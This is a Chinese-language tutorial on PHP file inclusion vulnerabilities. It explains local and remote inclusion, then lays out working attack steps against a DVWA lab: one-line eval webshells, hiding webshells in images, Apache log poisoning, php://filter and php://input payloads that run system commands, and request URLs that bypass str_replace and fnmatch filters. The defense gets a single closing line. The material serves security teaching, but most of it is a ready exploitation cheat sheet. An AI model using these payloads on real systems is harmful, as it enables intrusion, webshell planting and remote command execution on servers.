ThinkChat2.0新版上线,更智能更精彩,支持会话、画图、阅读、搜索等,送10W Token,即刻开启你的AI之旅 广告
## 文件包含漏洞 简单一句话,为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。 在大多数Web语言中都会提供的功能,但PHP对于包含文件所提供的功能太强大,所以包含漏洞经常出现在PHP语言中,但其他语言中可能出现包含漏洞。 ### 文件包含漏洞的原理: 大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。  **示例代码:** ``` ?page=a.php ?home=b.html ?file=content.. ``` ### 涉及到的危险函数: ``` include #执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行 include_once #同上,区别是如果该文件中已经被包含过,则不会再次包含。 require #程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本 require_once #同上,区别是 PHP会检查该文件是否已经被包含过,如果是则不会再次包含。 ``` ### 文件包含漏洞的分类: 1. 本地文件包含漏洞: 仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。 很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力(例如上传webshell后用包含方式调用)。  2. 远程文件包含漏洞: 能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂远程码 php远程包含漏洞必要参数 ``` allow_url_include=on magic_quotes_gpc=off ``` ### 文件包含漏洞的上传技巧:  #### 1、小马+图片: * 方法一:直接伪造头部GIF89A * 方法二:CMD方法,copy /b test.png+1.php muma.png * 方法三:直接使用工具往图片中写入一句话木马。  #### 2、小马+日志: 当某个PHP文件存在本地包含漏洞,而却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵。 >Apache服务器运行后会生成两个日志文件,access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中 1、打开配置文件`httpd.conf”第299行 删除井号以取消注释 ``` ##CustomLog "logs/access.log" common ```  2、将一句话木马写到 url中的fiename 里 虽然会提示失败,但是会记录到日志文件中。** ``` #URL地址 http://xx.com/xx.php?filename=<?php @eval($_POST['123']);?> #access_log中会有如下内容 ..... GET /xx.php?filename=%3C?PHP%20@eval($_POST[%27123%27]);?%3E ...... ``` 3、然后用包含漏洞包含日志文件 小马就被运行了,但是由于编码的缘故有可能并不生效。用菜刀等工具连接试试 ``` #URL http://xx.com/xx.php?filename=../Apache/logs/access.log ``` #### 3、利用php包含来读文件: ``` # 1 构造URL:x.php是实现传到服务器的一句话木马 http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php # 2 通过bp抓包可以发现,返回的包里面有一串base64的加密字符串 # 3 将加密字符串解密,可得一句话木马 <?php eval($_POST['cmd']);> ``` #### 4、php包含写文件: 注意:只有在`allow_url_include`为on的时候才可以使用,如果想查看回显结果那还要这样 1. 在C:\\php\\php-5.2.14-Win32下找到php-apache2handler.ini 2. 打开,查找`display_funtions=proc-open,oppen,exec,system……` 3. 删掉system,然后重启apache。 >意思就是排除system命令  ``` #构造URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input #抓包,修改提交的post数据为 <?php system('net user');?> #在返回包中,应该能看到net user命令的执行结果 ```  #### 5、`str_replace`函数绕过:(中) 使用`str_replace`函数替换指定的字符串是极其不安全的,因为可以使用很多方法绕过。 又假设设置的过滤`../、..\、http://`等,以防止目录穿越和远程文件 ``` #1、可以路径嵌套 http://192.168.0.103/dvwa/vulnerabilities/fi/page=..././..././..././..././..././xampp/htdocs/dvwa/php.ini #2、绝对路径不受任何影响 http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini #3、双写http头使用远程文件 http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt ``` #### 6、fnmatch函数绕过:(高) 经常会有开发,用fnmatch函数,用于指定只能用特定的文件名开头的文件 ``` if(!fnmatch("file*",$file)&&$file!="include.php") #本意是当include.php,又不是file开头的文件名时,就不能调用 #但殊不知有file://协议,也是可以读取文件的 http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini ``` PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。 ``` File:// 访问本地文件系统 htt[p:// 访问HTTP(s)网址 ftp:// 访问FTP(s)URLS php:// 访问各个输入/输出流(I/o streams) zlib:// 压缩流 data:// 数据(RFC2397) ssh2:// Secure Shell 2 expect:// 处理交互式的流 glob:// 查找匹配的文件路径模式 #有时候对方程序员对协议进行限制我们可以多尝试尝另外的 ```  ## 文件包含漏洞的防御方法: **将需要包含的文件用白名单方式写死**